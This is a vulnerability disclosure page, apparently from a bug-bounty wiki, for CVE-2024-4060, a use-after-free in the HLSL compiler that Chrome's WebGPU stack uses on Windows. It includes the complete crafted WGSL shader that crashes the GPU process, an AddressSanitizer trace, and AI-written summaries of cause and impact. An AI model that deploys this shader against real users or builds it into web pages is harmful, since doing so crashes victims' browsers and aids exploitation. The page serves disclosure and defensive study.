Use after free in Dawn (CVE-2024-4060)
A crafted WebGPU shader causes a use-after-free in the HLSL compiler (dxcompiler.dll) when Chrome translates WGSL to HLSL on Windows. An attacker could crash the GPU process by getting a victim to open a malicious HTML file.
- Fix shipped in 15 days
VULNERABILITY DETAILS
Chromium translates wgsl shaders via tint to an OS-specific shader format. On Windows, the OS-specific file format is hlsl, processed in dxcompiler.dll. When compiling chrome-generated hlsl files, this might trigger a heap UAF insider the hlsl compiler.
VERSION Chrome Version: Pre-compiled ASAN Chromium 125.0.6406.0 (Developer Build) (64-bit) Operating System: Win10 Build 19045
REPRODUCTION CASE Attached is a .html file containing a WebGPU shader. Opening the html file (on windows with the D3D12 backend) crashes the GPU process. On a linux dxc build, ASAN terminates with a UAF in DeadBlockDeleter in DxilRemoveDeadBlocks.cpp, when running Chrome the crash is a stack-use-after-return. The problematic wgsl shader (for standalone compilation) is:
fn f() {
var l_1: array<i32, 10>;
var l_2: array<i32, 10>;
var l_7: i32;
var l_12: i32;
var l_20: i32;
var l_29: f32;
let x_68_ = l_2;
l_2 = x_68_;
let _e75 = true;
l_12 = -2147483648;
loop {
if l_12 > 9 {
break;
}
let x_120_ = (l_12 + 264912789);
loop {
if (!_e75) {
return;
}
loop {
continuing {
break if l_12 < 9;
}
}
if (x_120_ == 0) {
return;
}
if (l_20 > 1) {
break;
}
continuing {
l_2[l_20] = l_1[l_20];
l_20 = (l_20 + 1);
}
}
continuing {
l_12 = x_120_;
}
}
}
@fragment
fn main() -> @location(0) vec4<f32> {
loop {
continuing {
f();
break if (i32() > i32());
}
}
return vec4<f32>();
}
==4544==ERROR: AddressSanitizer: stack-use-after-return on address 0x11fce74378f8 at pc 0x7ffaf6d9058d bp 0x0011301fa3a0 sp 0x0011301fa3e8
READ of size 8 at 0x11fce74378f8 thread T0
==4544==WARNING: Failed to use and restart external symbolizer!
==4544==*** WARNING: Failed to initialize DbgHelp! ***
==4544==*** Most likely this means that the app is already ***
==4544==*** using DbgHelp, possibly with incompatible flags. ***
==4544==*** Due to technical reasons, symbolization might crash ***
==4544==*** or produce wrong results. ***
#0 0x7ffaf6d9058c in `anonymous namespace'::EmitAssemblyHelper::~EmitAssemblyHelper C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:159
#1 0x7ffaf6d9026f in clang::EmitBackendOutput C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:797
#2 0x7ffaf661ffff (<unknown module>)
Address 0x11fce74378f8 is located in stack of thread T0 at offset 2296 in frame
#0 0x7ffaf6d8b03f in clang::EmitBackendOutput C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:770
This frame has 35 object(s):
[32, 48) 'agg.tmp.i94'
[64, 80) 'agg.tmp.i77'
[96, 136) 'agg.tmp.i.i203.i' (line 84)
[176, 224) 'TargetTriple.i204.i' (line 648)
[256, 280) 'ref.tmp.i205.i' (line 648)
[320, 344) 'DL.i.i.i' (line 308)
[384, 385) 'MapParser.i.i.i' (line 310)
[400, 440) 'agg.tmp.i.i173.i' (line 109)
[480, 584) 'PMBuilder.i.i' (line 332)
[624, 648) 'agg.tmp.i.i64' (line 318)
[688, 712) 'agg.tmp63.i.i' (line 318)
[752, 776) 'agg.tmp67.i.i' (line 318)
[816, 840) 'agg.tmp71.i.i' (line 318)
[880, 904) 'agg.tmp77.i.i' (line 318)
[944, 968) 'agg.tmp82.i.i' (line 318)
[1008, 1056) 'TargetTriple.i.i' (line 443)
[1088, 1112) 'ref.tmp.i174.i' (line 443)
[1152, 1176) 'Error.i.i' (line 507)
[1216, 1240) 'Triple.i.i' (line 508)
[1280, 1304) 'FeaturesStr.i.i' (line 545)
[1344, 1432) 'Options.i.i' (line 573)
[1472, 1496) 'ref.tmp69.i.i' (line 576)
[1536, 1540) 'ref.tmp85.i.i' (line 578)
[1552, 1556) 'ref.tmp88.i.i' (line 578)
[1568, 1584) 'agg.tmp294.i.i' (line 507)
[1600, 1624) 'ref.tmp.i' (line 708)
[1664, 1688) 'CrashInfo.i' (line 745)
[1728, 1752) 'CrashInfo122.i' (line 755)
[1792, 1816) 'CrashInfo135.i' (line 760)
[1856, 1872) 'agg.tmp.i'
[1888, 1904) 'agg.tmp2.i'
[1920, 1936) 'agg.tmp.i.i'
[1952, 2328) 'AsmHelper' (line 771) <== Memory access at offset 2296 is inside this variable
[2400, 2408) 'hlslException'
[2432, 2456) 'DLDesc' (line 788)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp, SEH and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-use-after-return C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:159 in `anonymous namespace'::EmitAssemblyHelper::~EmitAssemblyHelper
Shadow bytes around the buggy address:
0x11fce7437600: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437680: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437700: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437780: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437800: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
=>0x11fce7437880: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5[f5]
0x11fce7437900: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437980: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437a00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437a80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x11fce7437b00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4544==ADDITIONAL INFO
==4544==Note: Please include this section with the ASan report.
Task trace:
#0 0x7ffa9e65398e in gpu::SchedulerDfs::RunNextTask C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:681
#1 0x7ffa9e64c8e5 in gpu::SchedulerDfs::TryScheduleSequence C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:480
==4544==END OF ADDITIONAL INFO
==4544==ABORTING
win32u!NtGdiDdDDIWaitForVerticalBlankEvent+0x14:
00007ffb`1e245cc4 c3 ret
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a lifetime bug in the HLSL compiler's dead-block removal or assembly helper, where a stack object is used after its scope ends.
Impact
An attacker could crash the GPU process, causing a denial of service, but the report does not claim code execution.
What the attacker needed
Victim opens a malicious HTML file; Windows with D3D12 backend
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A use-after-free is a memory bug where a program keeps using a piece of memory after it has been freed. Here, a specially crafted shader program makes Chrome's shader compiler read memory that is no longer valid, which crashes the GPU process. The attacker only needs the victim to open a web page containing that shader.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.